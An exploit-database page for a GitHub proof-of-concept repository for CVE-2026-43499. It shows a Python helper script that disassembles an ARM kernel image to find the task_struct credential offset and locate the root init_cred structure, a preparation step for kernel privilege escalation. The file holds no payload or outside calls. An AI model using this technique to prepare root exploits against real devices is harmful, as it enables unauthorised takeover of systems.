Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

analysis/find_cred_offset.py

Python · 3,148 bytes
import sys
sys.path.insert(0, 'pylibs')
import struct
from capstone import Cs, CS_ARCH_ARM, CS_MODE_ARM

with open('kernel_raw.bin', 'rb') as f:
    data = f.read()
BASE = 0xC0008000
md = Cs(CS_ARCH_ARM, CS_MODE_ARM)

# Find cred offset by looking at common code patterns
# current_cred() is typically: ldr r0, [sb, #0xc]; ldr r0, [r0, #cred_offset]
# Let's search for the pattern in sys_getuid or similar

# First, find sys_getuid in the syscall table
# sys_getuid is syscall 24 (or 199 for getuid32)
# Let's look at the syscall table
systab = 0xc0101264
for sc_num in [24, 199, 200, 201]:  # getuid, getuid32, getgid32, geteuid32
    addr = struct.unpack('<I', data[systab-BASE+sc_num*4:systab-BASE+sc_num*4+4])[0]
    print(f"syscall {sc_num}: 0x{addr:08x}")
    if 0xc0000000 <= addr <= 0xc2000000:
        code = data[addr-BASE:addr-BASE+0x40]
        for ins in md.disasm(code, addr):
            print(f'  0x{ins.address:08x}: {ins.mnemonic}\t{ins.op_str}')
            if ins.mnemonic.startswith('pop') and 'pc' in ins.op_str:
                break
        print()

# Also look at commit_creds or prepare_kernel_cred for the cred offset
# Search for "init_cred" string reference
print("=== Searching for init_cred references ===")
# init_cred is a global struct cred. Let's find it by searching for
# the pattern where init_task.cred points to it.
# init_task is at 0xc1b11640. Let's read the first 0x100 bytes and look for
# a pointer to another kernel address that could be init_cred.
init_task = 0xc1b11640
it_off = init_task - BASE
print("init_task pointers (potential cred):")
for off in range(0, 0x700, 4):
    val = struct.unpack('<I', data[it_off+off:it_off+off+4])[0]
    if 0xc0000000 <= val <= 0xc2000000 and val != init_task:
        # Check if it looks like a cred pointer (aligned, in data segment)
        if val % 4 == 0 and off < 0x500:
            print(f"  +0x{off:03x}: 0x{val:08x}")

# The cred pointer is typically near the beginning of task_struct
# Let's check offset 0x2c0 or similar (common in 5.4)
# Also check for init_cred by looking at its content (uid=0, gid=0, etc.)
print("\n=== Looking for init_cred (cred with uid=0,gid=0,euid=0) ===")
# init_cred has usage=2 (or 4), uid=0, gid=0, suid=0, sgid=0, euid=0, egid=0
# Search in BSS/data for this pattern
for addr in range(0xc1b00000, 0xc1c00000, 4):
    off = addr - BASE
    if off + 0x30 > len(data):
        break
    usage = struct.unpack('<I', data[off:off+4])[0]
    uid = struct.unpack('<I', data[off+4:off+8])[0]
    gid = struct.unpack('<I', data[off+8:off+12])[0]
    suid = struct.unpack('<I', data[off+12:off+16])[0]
    euid = struct.unpack('<I', data[off+20:off+24])[0]
    if usage in [2, 3, 4, 0x10002] and uid == 0 and gid == 0 and suid == 0 and euid == 0:
        # Check more fields
        cap_inh = struct.unpack('<I', data[off+0x18:off+0x1c])[0]
        cap_prm = struct.unpack('<I', data[off+0x1c:off+0x20])[0]
        cap_eff = struct.unpack('<I', data[off+0x20:off+0x24])[0]
        if cap_eff == 0xffffffff or cap_prm == 0xffffffff:
            print(f"  Possible init_cred at 0x{addr:08x}: usage={usage}, cap_eff=0x{cap_eff:08x}")